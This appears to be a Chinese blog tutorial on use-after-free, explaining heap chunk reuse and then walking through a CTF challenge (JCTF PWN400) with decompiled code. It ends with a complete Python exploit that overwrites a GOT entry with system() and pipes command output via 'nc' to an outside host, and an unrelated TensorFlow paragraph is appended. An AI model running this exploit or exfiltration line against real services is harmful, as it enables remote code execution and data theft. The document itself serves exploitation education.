Use After Free Tutorial

Halvar Flake 在”Third Generation Exploitation”中,按照攻击的难度把漏洞利用技术分为了3个层次:

(1) 第一类是基础的栈溢出利用。攻击者可以利用返回地址等轻松劫持进程,植入shellcode,例如,对strcpy,strcat等函数进行攻击。
(2) 第二类是高级的栈溢出漏洞。这时,栈中有许多限制因素。
(3) 第三类攻击则是堆溢出利用及格式化串漏洞利用。

当然,我个人将这个漏洞的利用分在了第三类中,可以说use after free(UAF)这个漏洞很多也都是在堆中完成的。属于堆溢出,当然这几天研究了一下UAF漏洞,上个月去南京时候把堆溢出的利用也熟悉了一下,堆溢出利用主要的方式也就是DWORD SHOOT了,利用的条件也是比较苛刻的,过几天我会在另一篇文章中写出来。
Use After Free,顾名思义就是释放后再使用,网上查询了很多资料,说的仔细一点的也没有太多,绝大部分都是浏览器相关的,换了mac后搭建windows的调试环境太蛋疼,而且利用方式比较困难,不能直接体现出来这个漏洞的精华所在,好不容易找了一篇文章,结果发现是棒子写的,尼玛,翻译的我也是蛋疼,哎。好的,扯淡就到这里,关键问题来了,这个漏洞叫释放后再使用,也就是free掉一个内存后然后继续使用这个内存喽,这个会造成什么后果呢?我不清楚。好吧,顺便找点CTF题目来学习一下利用方法,好不容易找到了一道题目:DEFCON CTF Qualifier 2014中的一道溢出题目,跟UAF相关,于是研究了好几天才搞懂,后面我会把这道题的writeup也写入进去,当然之前也看了棒子写的PDF,有点思路后才理解这个漏洞的,不多说,还是从棒子的这个文章中下手吧,看如下代码:

1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4#include <unistd.h>
5 
6typedef struct samplestruct
7{
8    int number;
9}sample;
10 
11int main(int argc, char **argv)
12{
13    sample * one;
14    sample * two;
15    one = (sample *)malloc(20);
16     
17    printf("[1] one-­>number: %d\n", one->number);
18    one->number = 54321;
19    printf("[2] one­->number: %d\n", one->number);
20    printf("[*] address of one : %p\n", one);
21     
22    free(one);
23     
24    two = (sample *)malloc(20);
25    printf("[3] two­>number: %d\n", two->number);
26    printf("[*] address of two : %p\n", two);
27    return 0;
28}

运行一下结果发现:

1[1] one-­>number: 0
2[2] one­->number: 54321
3[*] address of one : 0x100105430
4[3] two­>number: 54321
5[*] address of two : 0x100105430
6Program ended with exit code: 0

two这个结构体竟然打印出了和刚刚被释放的one结构体一样的值!而且分配的地址也是一样!!而且运行了多次发现结果一直都不变!one和two的地址是相同的!

于是棒子在底下引用了这个链接:http://g.oswego.edu/dl/html/malloc.html

Deferred Coalescing
    Rather than coalescing freed chunks, leave them at their current sizes in hopes that another request for the same size will come along soon. This saves a coalesce, a later split, and the time it would take to find a non-exactly-matching chunk to split. 
大概意思就是说,系统会保留刚刚被释放的内存块而不是去和其他的空闲块合并,因为系统希望不久的将来会有一个新的操作也是申请一个同样大小的内存。也就是延迟合并,这样可以加快系统的速度。

这样那上面的代码就好解释了,我们在free(one) 这个操作后,one所占的内存并没有发生合并,而我们在malloc(two) 后,也就是不久的将来,我们新申请了一个同样大小的内存,所以系统根据这个算法,将上一步操作中释放的one内存指针给了新申请的two。

后面作者也给了一个利用的例子,但是当时我没有看太明白,于是就忽略了。

后来在做Defcon那道题目的时候对系统的延迟合并操作也有比较大的疑问,于是就请教了kelwin,他告诉我说是dlmalloc,于是查了一下资料,发现有更详细的解释:http://blog.csdn.net/ycnian/article/details/12971863

当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

而且这里也有一个现象就是:我用malloc分配了3个16字节的空间a,b,c,然后free掉b,c,如果再次malloc2个16字节空间的话那么会先将free掉的c再次分出去,然后再用free掉b空间分配出去,这是我在做那道Defcon题目的时候调试我发现的情况,如果按照文章这样解释的话,那这个就非常符合dlmalloc的情况了。当然具体dlmalloc中实现的一些细节还是比较复杂的,涉及到linux的内核分析,这里暂时不多说,看来这个UAF还真是比较有难度啊。

那我们还是拿一个题目来说明一下如何利用UAF漏洞吧,比较近的一题是JCTF PWN400,当然还有Defcon的那道题,我们先拿JCTF的这道题来实验:

文件破译
在经过几经探索之后李乐发现原来这台服务器只是JSC用来娱乐练习的一台服务器,没有什么实际价值~于是,李乐只好在服务器上留下了一些自己的建议,一起来留下来你的建议吧~
文件地址:http://pan.baidu.com/s/1bn1YFaZ 密码: f44p
题目地址:121.40.177.167:45678

二进制文件下载地址:

  400.rar (605.1 KiB, 91 hits)

压缩包里给了so,而且在txt中给了printf函数的地址,那我们可以得到任意指令的地址了。距离比赛结束将近半年了,这里我把老的题目翻出来做一做,因为当时记得看0ops的writeups中提到了悬空指针这个名词,而且也说了题目利用的是Use After Free这个漏洞,当时也只有他们把这道题做出来了,好的,我们来分析这个文件。是一个留言系统,也是各种申请内存结构体的,里面有几个全局变量,根据阅读代码和分析可以弄清他们的作用:

1int __cdecl sub_8048AF7(int a1)
2{
3  ++message_id;
4  *(_BYTE *)a1 = 0;
5  *(_DWORD *)(a1 + 4) = 0;
6  *(_DWORD *)(a1 + 8) = 0;
7  *(_DWORD *)(a1 + 12) = leave_message;
8  *(_DWORD *)(a1 + 16) = sub_804965B;
9  *(_DWORD *)(a1 + 20) = 0;
10  *(_DWORD *)(a1 + 24) = message_id;
11  *(_DWORD *)(a1 + 28) = malloc(0x12Cu);
12  *(_DWORD *)(a1 + 32) = malloc(0x4B0u);
13  *(_DWORD *)(a1 + 44) = rand();
14  *(_DWORD *)(a1 + 40) = sub_8048B99(1);
15  return a1;
16}

上面的函数是初始化结构体的操作,下面的是主函数的操作:

1void __noreturn start_main()
2{
3  char v0; // ST1B_1@6
4  char v1; // [sp+1Bh] [bp-Dh]@2
5  int v2; // [sp+1Ch] [bp-Ch]@1
6 
7  setvbuf(stdout, 0, 2, 0);
8  signal(11, (__sighandler_t)handler);
9  print_banner();
10  v2 = (int)malloc(0x30u);
11  sub_8048AF7((int *)v2);                   // 开始的时候建立的第一个结构体的message_id为0,不使用它
12  while ( 1 )
13  {
14    puts("1.leave your message");
15    puts("2.read the message");
16    puts("3.exit");
17    puts("what do you want to do?");
18    puts("--------->");
19    fflush(stdin);
20    v1 = getchar();
21    if ( v1 == 10 )
22      v1 = getchar();
23    if ( v1 > 51 || v1 <= 48 )
24    {
25      if ( v1 == 10 )
26        v0 = getchar();
27      puts("Wrong in main!");
28      exit(-1);
29    }
30    if ( v1 == 49 )                             // 选择为1的时候
31    {
32      sub_8049114(v2);
33    }
34    else
35    {
36      if ( v1 != 50 )                           // 选择为3的时候
37        sub_80496C5();
38      sub_8048C04((int *)v2);               // 选择为2的时候
39    }
40  }
41}

建议大家分析之前还是运行一下程序,这样你可以搞清楚程序的起点了,而且这个程序的作用,对后面分析程序中使用的某些变量的作用非常有帮助,比如上面的代码分析发现是选择的操作,if根据输入的值来判断进行哪步操作,那么后面我们重点就分析if里面调用的函数了,比如我们分析选择为2的函数这里:

1int __cdecl sub_8048C04(int a1)
2{
3  int v2; // [sp+14h] [bp-14h]@8
4  int v3; // [sp+18h] [bp-10h]@4
5 
6  if ( !*(_BYTE *)a1 )                          // 如果根本就没有留消息的话,进入这个if,并打印空指针
7  {
8    puts("Null pointer");
9    exit(-1);
10  }
11  v3 = a1;
12  if ( a1 )
13  {
14    printf("\t| %s| %-20s | %-20s \n", "number", "author", "title");
15    while ( v3 )
16    {
17      puts("\t-----------------------------------------------");
18      printf("\t| %5d | %-20s | %-20s \n", *(_DWORD *)(v3 + 24), *(_DWORD *)(v3 + 28), *(_DWORD *)(v3 + 32));
19      puts("\t-----------------------------------------------");
20      v3 = *(_DWORD *)(v3 + 4);                 // 取下一个message结构体
21    }
22    v2 = get_reply((int *)a1);              // 这里进行查看选择要回复的消息体并进行增加或者删除操作
23  }
24  else
25  {
26    v2 = puts("wrong in read_message!");
27  }
28  return v2;
29}

注释是我分析的结果,我们运行一下,选择2发现是read message选项,打印出来我们通过1选项新建的留言的作者和标题,那么我们就可以很容易的知道*(_DWORD *)(v3 + 28), *(_DWORD *)(v3 + 32) 分别表示的是留言的作者和标题了,下面再分析就方便了,当然这个结构体中间也有好几个未知的部分,我就用unk_i 和unknow_i代替了,分析知道程序中有两个结构体,一个是留言的结构体,还有一个是留言中回复的结构体,均为单向链表,突然想起这个是数据结构课程中的内容,可惜的是我没有学过数据结构啊!硬伤,╮(╯▽╰)╭ 。。。下面就是两个结构体的内容,我将其转成了struct格式,这样我们用ida分析起来就非常方便了!!

1struct MESSAGE
2{
3    int reply_count;
4    struct MESSAGE * Next_message;
5    _DWORD unk_1;
6    _DWORD leave_function;
7    _DWORD unk_3;
8    struct REPLY *reply_struct;
9    int message_id;
10    char * author;
11    char * title;
12    char * content;
13    _DWORD unk_4;
14    _DWORD unk_5;
15}
16 
17struct REPLY
18{
19    _DWORD unknow_1;
20    int reply_id;
21    _DWORD unknow_2;
22    int message_id;
23    char * message_content;
24    _DWORD unknow_3;
25    _DWORD unknow_4;
26    struct REPLY *next_reply;
27}

下面就是转换结构体后的代码了:

1MESSAGE *__cdecl sub_8048AF7(MESSAGE *a1)
2{
3  ++message_id;
4  LOBYTE(a1->reply_count) = 0;
5  a1->Next_message = 0;
6  a1->unk_1 = 0;
7  a1->leave_function = leave_message;
8  a1->unk_3 = sub_804965B;
9  a1->reply_struct = 0;
10  a1->message_id = message_id;
11  a1->author = (char *)malloc(0x12Cu);
12  a1->title = (char *)malloc(0x4B0u);
13  a1->unk_5 = rand();
14  a1->unk_4 = sub_8048B99(1);
15  return a1;
16}
1int __cdecl sub_8048C04(MESSAGE *a1)
2{
3  int v2; // [sp+14h] [bp-14h]@8
4  MESSAGE *v3; // [sp+18h] [bp-10h]@4
5 
6  if ( !LOBYTE(a1->reply_count) )               // 如果根本就没有留消息的话,进入这个if,并打印空指针
7  {
8    puts("Null pointer");
9    exit(-1);
10  }
11  v3 = a1;
12  if ( a1 )
13  {
14    printf("\t| %s| %-20s | %-20s \n", "number", "author", "title");
15    while ( v3 )
16    {
17      puts("\t-----------------------------------------------");
18      printf("\t| %5d | %-20s | %-20s \n", v3->message_id, v3->author, v3->title);
19      puts("\t-----------------------------------------------");
20      v3 = (MESSAGE *)v3->Next_message;         // 取下一个message结构体
21    }
22    v2 = get_reply(a1);                         // 这里进行查看选择要回复的消息体并进行增加或者删除操作
23  }
24  else
25  {
26    v2 = puts("wrong in read_message!");
27  }
28  return v2;
29}

这样看是不是清晰了许多?对不对,好了,我们的集中点都在如何触发UAF这个漏洞,当然首先我们得找到删除留言啊,删除信息这样的函数,因为只有这些地方进行了free操作,才可能触发UAF,我们定位到了这里,也是sub_8048C04这个函数中的get_reply函数:

1int __cdecl get_reply(MESSAGE *a1)
2{
3  int v2; // [sp+18h] [bp-20h]@1
4  int v3; // [sp+1Ch] [bp-1Ch]@1
5  int v4; // [sp+20h] [bp-18h]@10
6  MESSAGE *ptr; // [sp+24h] [bp-14h]@1
7  REPLY *v6; // [sp+28h] [bp-10h]@1
8  int v7; // [sp+2Ch] [bp-Ch]@1
9 
10  v2 = 0;
11  v7 = 0;
12  v3 = 0;
13  v6 = a1->reply_struct;
14  __isoc99_scanf("%d", &v2);                    // 输入要查看的消息编号
15  for ( ptr = a1; ptr; ptr = (MESSAGE *)ptr->Next_message )
16  {
17    if ( ptr->message_id == v2 )                // 匹配消息的编号
18    {
19      v6 = ptr->reply_struct;
20      puts("\t\t===================================");
21      printf("\t\t|| %d || %-20s || %-20s \n", ptr->message_id, ptr->author, ptr->title);
22      puts("\t\t===================================");
23      printf("\t\t|content | %s\n", ptr->content);
24      puts("\t\t===================================");
25      v3 = 1;
26      while ( 1 )
27      {
28        puts("\t\t\t|");
29        printf("\t\t\t|====> %s\n", v6->message_content);
30        v6 = (REPLY *)v6->next_reply;
31        if ( !v6 )
32          break;
33        ++v7;
34      }
35      v3 = sub_8048E23(ptr);
36    }
37  }
38  if ( !v3 )
39    v4 = puts("wrong in get choice!\n");
40  return v4;
41}

这里代码已经非常清晰了,用户输入一个消息编号,然后程序会输出这个消息下面的留言,按照链表顺序查找,传入a1结构体指针的是消息链表的开始地址,然后按照留言一点点查找下去,并打印出消息的id,作者,标题及具体内容,输出完后调用sub_8048E23函数,ptr是当前查找到的结构体指针,指向了用户查找的消息的指针,并让用户选择(1.delete 2.modify 3.add reply 4.back):

1int __cdecl sub_8048E23(MESSAGE *ptr)
2{
3  int choice; // [sp+18h] [bp-10h]@1
4  int v3; // [sp+1Ch] [bp-Ch]@1
5 
6  choice = 0;
7  v3 = 0;
8  while ( 1 )
9  {
10    while ( 1 )
11    {
12      while ( 1 )
13      {
14        printf("\n\t\tPlease select the operate:1.delete 2.modify 3.add reply 4.back\n\t\t-->");
15        choice = 0;
16        __isoc99_scanf("%d", &choice);
17        if ( choice != 2 )
18          break;
19        modify_message((int)ptr);               // 修改选择的消息结构体
20      }
21      if ( choice > 2 )
22        break;
23      if ( choice != 1 )
24        return puts("wrong in get option!");
25      delete_reply(ptr);
26    }
27    if ( choice != 3 )
28      break;
29    sub_80491C2(ptr);
30  }
31  if ( choice == 4 )
32  {
33    v3 = 1;
34    return 1;
35  }
36  return puts("wrong in get option!");
37}

delete_reply中就有free的操作,是删除整个消息的结构体,包括里面的留言:

1int __cdecl delete_reply(MESSAGE *ptr)
2{
3  int v1; // ebx@2
4  int v3; // [sp+18h] [bp-10h]@1
5  struct REPLY *i; // [sp+1Ch] [bp-Ch]@3
6 
7  v3 = 0;
8  if ( SLOBYTE(ptr->reply_count) > 0 )
9  {
10    printf("Can't be deleted!'");
11  }
12  else
13  {
14    *(_DWORD *)(ptr->unk_1 + 4) = ptr->Next_message;
15    *((_DWORD *)ptr->Next_message + 2) = ptr->unk_1;
16    v1 = ptr->unk_4;
17    if ( v1 == sub_8048B99(2) )
18    {
19      for ( i = ptr->reply_struct; i->next_reply; i = (struct REPLY *)i->next_reply )
20      {
21        i->unknow_4 = sub_804962E;
22        i->unknow_3 = sub_804961B;
23      }
24    }
25    v3 = ((int (__cdecl *)(MESSAGE *))ptr->unk_3)(ptr);
26    free(ptr->author);
27    free(ptr->title);
28    free(ptr->content);
29    free(ptr);
30  }
31  return v3;
32}

好了,删除的位置我们也找到了,代码的流程我们也分析的非常清楚了,不过,到底怎么触发漏洞呢?如何让程序执行我们想要的代码呢?貌似删除也有条件啊,只要回复数量大于0的话就提示不能删除啊!而且每个结构体建立的时候系统会默认加一条留言,所以留言数量总是大于1的。这个怎么办?没法删除的话就没法UAF啊!

仔细观察我们发现 SLOBYTE(ptr->reply_count) 竟然是取一个字节一刚!好吧,只要回复留言为256条就可以删除了,现在就是如何构造UAF了,注意到调用delete_reply的上一层函数:

1while ( 1 )
2{
3  while ( 1 )
4  {
5    printf("\n\t\tPlease select the operate:1.delete 2.modify 3.add reply 4.back\n\t\t-->");
6    choice = 0;
7    __isoc99_scanf("%d", &choice);
8    if ( choice != 2 )
9      break;
10    modify_message((int)ptr);               // 修改选择的消息结构体
11  }
12  if ( choice > 2 )
13    break;
14  if ( choice != 1 )
15    return puts("wrong in get option!");
16  delete_reply(ptr);
17}

看见了把,delete后程序仍然在while的流程中,此时ptr指针指向的内存以及被free掉了,但是我们仍然可以调用modify_message或者delete_reply这个操作,而且传入的就是ptr指针,这个ptr已经成为了一个悬空指针,好了,我们看看modify_message的代码:

1signed int __cdecl modify_message(MESSAGE *a1)
2{
3  size_t v1; // eax@1
4  size_t v2; // eax@1
5  size_t v3; // eax@1
6  size_t v4; // ST1C_4@1
7  signed int result; // eax@1
8  int v6; // ecx@1
9  char s; // [sp+20h] [bp-34C8h]@1
10  char src; // [sp+14Ch] [bp-339Ch]@1
11  char v9[12000]; // [sp+5FCh] [bp-2EECh]@1
12  int v10; // [sp+34DCh] [bp-Ch]@1
13 
14  v10 = *MK_FP(__GS__, 20);
15  memset(&s, 0, 0x12Cu);
16  memset(&src, 0, 0x4B0u);
17  memset(v9, 0, 0x2EE0u);
18  puts("Please input author:\n-->");
19  getchar();
20  sub_8048A4D((int)&s, 255, 10);
21  v1 = strlen(&s);
22  v9[v1] = 0;
23  memcpy(a1->author, &s, v1 + 1);               // uaf后这里算是造成任意地址写入
24  puts("Please input title:\n-->");
25  sub_8048A4D((int)&src, 1023, 10);
26  v2 = strlen(&src);
27  v9[v2] = 0;
28  memcpy(a1->title, &src, v2 + 1);              // uaf后这里算是造成任意地址写入
29  puts("Please input the content of message:\n-->");
30  sub_8048A4D((int)v9, 11990, 10);
31  v3 = strlen(v9);
32  v4 = v3;
33  v9[v3] = 0;
34  a1->content = (char *)malloc(v3 + 1);         // 这里的malloc会造成uaf
35  memcpy(a1->content, v9, v4 + 1);              // uaf后这里算是造成任意地址写入
36  a1->unk_4 = sub_8048B99(2);
37  result = 1;
38  v6 = *MK_FP(__GS__, 20) ^ v10;
39  return result;
40}

也就是说,我们只要在删除message后修改一下这个message,修改中有一个malloc函数,我们可以将我们消息的内容大小设置的跟MESSAGE结构体一样的大小,这样malloc申请的地址就是刚刚被free掉的ptr指向的地址了!然后又有一个memcpy,我们只要在新建的content中author或者title位置中写入strlen的got地址,然后s中传入’/bin/sh’,就直接可以调用system(‘/bin/sh’)了,好了游戏结束了。

需要注意的是,这道题程序是fork出来子进程实现的,子进程中函数地址跟父进程中的地址都是相同的,每次fork出来后都不会变,所以不用担心随机化的问题,由于程序是socket的而不是用xinetd开的服务,如果我们直接执行system(‘/bin/sh’)的话是无法显示执行结果的,所以我们可以换成其他命令,可以将flag读取出来然后nc传给我们的服务器,poc如下:

1#!/usr/bin/python
2# -*- coding: utf-8 -*-
3#Contact shou@shou.edu.cn
4 
5__author__ = 'syjzwjj'
6 
7import string
8import socket
9import struct
10import time
11 
12def recvs() :
13    content = ""
14    while 1 :
15        tmp = s.recv(2048)
16        content += tmp
17        print tmp
18        if 'what do you want to do?' in tmp :
19            return content
20 
21def read_message() :
22    content = ""
23    while 1 :
24        tmp = s.recv(2048)
25        content += tmp
26        print tmp
27        if '\t' + '|     3 | test                 | test                 '+ '\n' in tmp :
28            return content
29 
30def read_operation() :
31    content = ""
32    while 1 :
33        tmp = s.recv(2048)
34        content += tmp
35        print tmp
36        if 'Please select the operate:1.delete 2.modify 3.add reply 4.back' in tmp :
37            return content
38 
39# break 0x0804954D
40def add_reply() :
41    for i in range(0,255) :
42        s.send('3\n')
43        s.recv(1024)
44        s.send('1111\n')
45        s.recv(1024)
46 
47    #a = raw_input()
48    s.send('1\n')
49    print "delete operation\n"
50 
51# 新建留言
52def new_message() :
53    s.send('1\n')
54    print s.recv(1024)
55    s.send('test\n')
56    print s.recv(1024)
57    s.send('test\n')
58    print s.recv(1024)
59    s.send('test\n')
60    recvs()
61 
62s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63s.connect(('10.211.55.6',45678))
64 
65recvs()
66new_message()
67new_message()
68new_message()
69 
70s.send('2\n')
71read_message()
72 
73s.send('2\n')
74read_operation()
75 
76add_reply()
77 
78s.send('2\n')
79print s.recv(1024)
80print s.recv(1024)
81print s.recv(1024)
82 
83s.send('test\n')
84print s.recv(1024)
85 
86s.send('test1\n')
87print s.recv(1024)
88print s.recv(1024)
89print s.recv(1024)
90 
91#a = raw_input()
92content = "A" * 28 + struct.pack('I',0x0804C04C) + "A" * 15 + '\n'
93s.send(content)
94 
95read_operation()
96 
97s.send('2\n')
98print s.recv(1024)
99print s.recv(1024)
100 
101# break 0x08049001
102# 将strlen函数地址覆盖成system函数的地址
103s.send(struct.pack('I',0xb765ec30) + '\n')
104print s.recv(1024)
105 
106s.send('whoami | nc 10.211.55.2 4444' + '\n')
107 
108time.sleep(0.5)
109s.send('ls\n')
110print s.recv(1024)
111s.close()

这里利用的条件非常苛刻,如果我在delete后退出了循环,那么我可能就没有机会再利用这个漏洞了,因为已退出,链表结构已经发生了改变,接下来Defcon的题目你就会感觉到这一点,那道题貌似连写入的机会都没有,只能任意读取内存。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
TensorFlow是一个开源的机器学习框架,用于构建和训练各种机器学习模型。TensorFlow提供了丰富的编程接口和工具,使得开发者能够轻松地创建、训练和部署自己的模型。 TensorFlow Tutorial是TensorFlow官方提供的学习资源,旨在帮助新手快速入门。该教程详细介绍了TensorFlow的基本概念、常用操作和各种模型的构建方法。 在TensorFlow Tutorial中,首先会介绍TensorFlow的基本工作原理和数据流图的概念。通过理解数据流图的结构和运行过程,可以更好地理解TensorFlow的工作方式。 接下来,教程会详细介绍TensorFlow的核心组件,例如张量(Tensor)、变量(Variable)和操作(Operation)。这些组件是构建和处理模型的基本元素,通过使用它们可以创建复杂的神经网络和其他机器学习模型。 在教程的后半部分,会介绍如何使用TensorFlow构建不同类型的模型,例如深度神经网络(DNN)、卷积神经网络(CNN)和递归神经网络(RNN)。每个模型都会有详细的代码示例和实践任务,帮助学习者掌握相关知识和技能。 此外,教程还包含了关于模型的训练、评估和优化的内容,以及如何使用TensorBoard进行可视化和调试。 总结来说,TensorFlow Tutorial提供了全面而详细的学习资源,通过学习该教程,可以快速入门TensorFlow,并且掌握构建和训练机器学习模型的方法。无论是初学者还是有一定经验的开发者,都可以从中受益并扩展自己的机器学习技能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值